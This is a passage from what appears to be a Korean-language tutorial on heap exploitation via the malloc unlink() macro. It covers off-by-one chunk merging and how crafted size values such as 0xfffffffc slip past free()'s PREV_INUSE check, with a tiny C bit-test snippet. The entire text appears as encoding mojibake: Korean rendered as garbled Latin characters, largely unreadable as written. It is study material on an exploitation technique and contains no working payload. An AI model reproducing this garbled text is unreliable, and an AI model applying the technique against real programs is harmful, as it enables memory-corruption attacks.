¼öÇàÇÏ´Â exploit ¹æ¹ýÀº Heap off-by-oneÀ» °ø·«ÇÒ ¶§ À¯¿ëÇÏ°Ô ¾²ÀÏ ¼ö ÀÖ´Ù. ÀÌ method´Â ±âÁØÀÌ µÇ´Â chunk·Î ºÎÅÍ ÀÌÀü chunk¿ÍÀÇ º´ÇÕÀ» ÀÌ¿ëÇÏ´Â ¹æ¹ýÀ̶ó ÇÒ ¼ö ÀÖ´Ù. ¹Ý´ë·Î 3¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ¼öÇàÇÏ´Â exploit ¹æ¹ýÀº ÀüÇüÀûÀÌ°í ´ëÇ¥ÀûÀÎ free/malloc exploit methodÀ̸ç, (phrack¿¡¼­ ±â»ç ¾ÕºÎºÐ¿¡ ¼³¸í) ±âÁØÀÌ µÇ´Â chunk·Î ºÎÅÍ ´ÙÀ½ chunk¿ÍÀÇ º´ÇÕÀ» ÀÌ¿ëÇÏ´Â ¹æ¹ýÀ̶ó ÇÒ ¼ö ÀÖ´Ù. *************************************************************************************************** ¡Ø µ¡ºÙÀÌ´Â ¸»: malloc¿¡ °üÇØ ¿¬±¸ ÁßÀÎ newbieµéÀ» À§ÇØ. :-} [Q:±Ã±Ý] size °ªÀÇ ÇÏÀ§ ºñÆ®´Â 0À̾î¾ß ÇÑ´Ù°í Çϴµ¥ ´ëü ¿Ö? exploit¿¡¼­´Â 0xffffffffÀ» »ç¿ëÇÏ´Â °Ç°¡¿ä?? [A:´äº¯] ÀÌ¹Ì À§ÀÇ ³»¿ë °úÁ¤À» ÀоîºÃ´Ù¸é, Àß ¾Ë°ÚÁö¸¸, ¿ì¼± size´Â ÇÏÀ§ ºñÆ®°¡ 0ÀÎ °ªÀ» ÁöÁ¤ÇÏ´Â ¿ªÇÒÀ» ÇÕ´Ï´Ù. ¿¹¸¦ µé¾î size ÀÚ¸®¿¡ 0xffffffff¸¦ ³Ö¾ú´Ù¸é, -1Àε¥ (¹°·Ð, ÇÏÀ§ ºñÆ®´Â 0ÀÌ ¾Æ´Ô) malloc ¹®¹ýÀ» °ÅÄ¥ ¶§ ¾à°£ÀÇ ºñÆ®¿¬»ê¿¡ ÀÇÇØ °ªÀÌ º¯°æµË´Ï´Ù. (nextsz = chunksize(next);) ´ÙÀ½ ¿¹Á¦¸¦ º¸¼¼¿ä. 0xffffffff&~(0x1|0x2); ºñÆ®¿¬»êÀ» °øºÎÇß´Ù¸é, ´Ùµé Àß ¾Æ´Â ¿¹Á¦ÀÏ °ÍÀÔ´Ï´Ù. °á°ú °ªÀº -4ÀÔ´Ï´Ù. °á±¹, next ptr-4°¡ prev_size°¡ µÉ °ÍÀ̰í, size´Â ÀÔ·ÂÇÑ 0xffffffff °ªÀÇ ¹Ù·Î ÀÌÀü 4byte°¡ µÉ °ÍÀÔ´Ï´Ù. ¸¸¾à 0xfffffffc, 0xffffffff ¼ø¼­ ¹æ½Ä´ë·Î ±¸¼ºÇØÁÖ¾ú´Ù¸é, 0xfffffffcÀÇ ÇÏÀ§ ºñÆ®°¡ 0À̹ǷÎ, unlink ¸ÅÅ©·Î ÇÔ¼ö´Â ¼öÇàµË´Ï´Ù. ´ÙÀ½ if¹®À» °ÅÄ¥ÅÙµ¥¿ä. main(int argc,char *argv[]) { if(!(0xfffffffc&0x1)){ printf("OK\n"); } } ... ½ÇÁ¦ ÇØ´ç ÄÚµå ºÎºÐ: if (!(inuse_bit_at_offset(next, nextsz))) ... ³×, 0xfffffffcÀº °á±¹ if ¹®¹ýÀ» ¼º°øÀûÀ¸·Î ¼öÇàÇÕ´Ï´Ù. À̶§, 0xffffffff °ªÀÌ À§Ä¡ÇÑ´Ù¸é, if ¹®¹ýÀ» ¼öÇàÇÏÁö ¸øÇϰÚÁö¿ä. ÇÏÀ§ºñÆ®°¡ 0ÀÌ ¾Æ´Ï¹Ç·Î. :-) ÀÚ, ¿©±â¼­ ºÐ¸íÈ÷ ±¸ºÐÇØ¾ß ÇÒ »çÇ×ÀÌ ÀÖ½À´Ï´Ù. ¹Ù·Î, next Æ÷ÀÎÅÍ¿¡ nextsz°¡ ´õÇØÁú ¶§ÀÇ ³»¿ëÀÔ´Ï´Ù. ¸ÛûÇÑ free() ÇÔ¼ö´Â nextsz °ªÀ» ¹Ï°í Àֱ⠶§¹®¿¡, °ø°ÝÀÚ¿¡ ÀÇÇØ nextsz °ªÀÌ Á¶ÀÛ µÇ¾ú´õ¶óµµ ±× °ªÀ» ½Å·ÚÇÏ¿© °¡Â¥ size °ªÀ» °Ë»çÇÏ°Ô µË´Ï´Ù. next pointer -> fd, next pointer -> bk¿Í´Â »ó°ü ¾ø½À´Ï´Ù. ±× ÀÌÀ¯´Â "(next+nextsz)->size&PREV_INUSE" ¶ó´Â ¸ÛûÇÑ °Ë»ç ¹®¹ý¸¸ ³Ñ±â¸é µÇ±â ¶§¹®ÀÌÁÒ ;-D ¾ÆÂ÷, ¶Ç ÁÖÀÇÇÒ Á¡ÀÌ ÀÖ½À´Ï´Ù. ÀÌ¹Ì ¼³¸íµå·ÈµíÀÌ unlink() ¸ÅÅ©·Î È£Ãâ Á¶°ÇÀ̳ª À§Ä¡¿¡ µû¶ó ¾Õ,µÚ chunkÀÇ º´ÇÕ ¹æ¹ýµµ Ʋ·ÁÁý´Ï´Ù. »óȲ¿¡ ¸Â´Â À¯¿ëÇÑ exploit ¹æ¹ýÀ» ½á¸ÔÀ¸¸é µÇ°ÚÁö¸¸, ´ÙÀ½ chunk¸¦ ÀÇÁöÇØ¼­ ¼¼¹øÂ° unlink()¸¦ ºÎ¸£´Â exploit ¹æ¹ý¿¡¼­´Â prev_size°¡ ±×¸® Áß¿äÇÑ ¿ªÇÒÀ» ÇÏÁö ¾Ê½À´Ï´Ù. ´Ù¸¸, ÀÌÀü chunk¿Í º´ÇÕÇÏ´Â exploit method¿¡¼­´Â prev_size°¡ ¸Å¿ì Áß¿äÇÑ ¿ªÇÒÀ» ÇϹǷÎ, ÁÖÀÇÇØ¾ß ÇÕ´Ï´Ù. (size ÇÏÀ§ ºñÆ®¸¸ 0À̸é, ±× ´ÙÀ½ ÁøÇà°úÁ¤À¸·Î prev_size °ªÀ» ÀÇÁ¸Çؼ­ fd,bk¸¦ º´ÇÕÇϱ⠶§¹®¿¡) ¹Ý¸é¿¡ exploit ½Ã, next chunk, nextsz °ªµé°ú´Â ¹«°üÇÕ´Ï´Ù. (±×·¯³ª, 3¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¿¡ Áߺ¹µÇ¾î °É¸®Áö ¾Êµµ·Ï ó¸®ÇØÁÖ¸é ÁÁ°ÚÁÒ.)